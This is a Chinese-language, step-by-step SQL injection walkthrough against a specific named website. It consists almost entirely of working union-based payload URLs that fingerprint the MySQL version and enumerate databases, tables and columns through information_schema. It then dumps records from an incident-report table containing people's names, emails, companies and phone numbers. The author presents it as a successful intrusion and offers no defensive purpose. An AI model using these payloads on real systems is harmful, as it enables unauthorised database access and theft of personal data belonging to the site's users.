1.判斷版本http://www.qqkiss.tk/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常，說明大於4.0版本，支持ounion查詢
2.猜解字段數目,用order by也可以猜，也可以用union select一個一個的猜解
http://www.qqkiss.tk/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--
3.查看數據庫版本及當前用戶，http://www.qqkiss.tk/document/advisory/detail.php?id=7 and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
數據庫版本5.1.35，據說mysql4.1以上版本支持concat函數，我也不知道是真是假，有待牛人去考證。
4.判斷有沒有寫權限
http://www.qqkiss.tk/document/advisory/detail.php?id=7 and (select count(*) from MySQL.user)>0-- 返回錯誤，沒有寫權限
沒辦法，手動猜表啦
5.查庫，以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
但是這個點有點不爭氣，用不了這個命令，就學習了下土耳其黑客的手法，不多說，如下
http://www.qqkiss.tk/document/advisory/detail.php?id=7+and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
成功查出所有數據庫，國外的黑客就是不一般。數據庫如下：
information_schema,Advisory,IR,mad,member,mysql,twcert,vuldb,vulscandb
6.爆表，爆的是twcert庫
http://www.qqkiss.tk/document/advisory/detail.php?id=7+and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
爆出如下表
downloadfile,irsys,newsdata,secrpt,secrpt_big5
7.爆列名，這次爆的是irsys表
http://www.qqkiss.tk/document/advisory/detail.php?id=7+and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
爆出如下列
ir_id,name,company,email,tel,pubdate,rptdep,eventtype,eventdesc,machineinfo,procflow,memo,filename,systype,status
8.查詢字段數，到這一步，國內很少有黑客去查詢字段數的，直接用limit N,1去查詢，直接N到報錯為止。
http://www.qqkiss.tk/document/advisory/detail.php?id=7+and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
返回是3，說明每個列里有3個地段
9.爆字段內容
http://www.qqkiss.tk/document/advisory/detail.php?id=7+and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
爆出name列的第一個字段的內容
http://www.qqkiss.tk/document/advisory/detail.php?id=7+and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
爆出name列的第二個字段的內容